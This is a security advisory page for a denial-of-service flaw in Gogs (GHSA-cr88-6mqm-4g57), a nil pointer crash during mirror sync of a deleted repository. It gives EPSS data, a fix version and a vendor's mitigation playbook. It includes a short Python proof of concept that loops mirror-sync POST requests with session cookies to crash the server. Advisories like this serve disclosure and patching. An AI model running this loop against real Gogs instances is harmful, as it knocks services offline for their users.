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GHSA-cr88-6mqm-4g57

MEDIUM

Gogs has a Denial of Service issue

Also known asCVE-2026-22592GO-2026-4451
Published
Feb 6, 2026
Updated
Feb 19, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk25th percentile+0.32%
0.00%0.28%0.56%0.84%0.0%0.0%0.0%0.0%0.3%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹gogs.io/gogs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogogs.io/gogsall versions0.13.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update gogs.io/gogs to 0.13.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cr88-6mqm-4g57 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-cr88-6mqm-4g57 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cr88-6mqm-4g57. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash. ### Details If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if `err != nil` `m` is alwasa `nil` https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 ### PoC Spam mirror-sync on repo and delete this
O3 Security · Impact-Aware SCA

Is GHSA-cr88-6mqm-4g57 in your dependencies?

O3 detects GHSA-cr88-6mqm-4g57 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.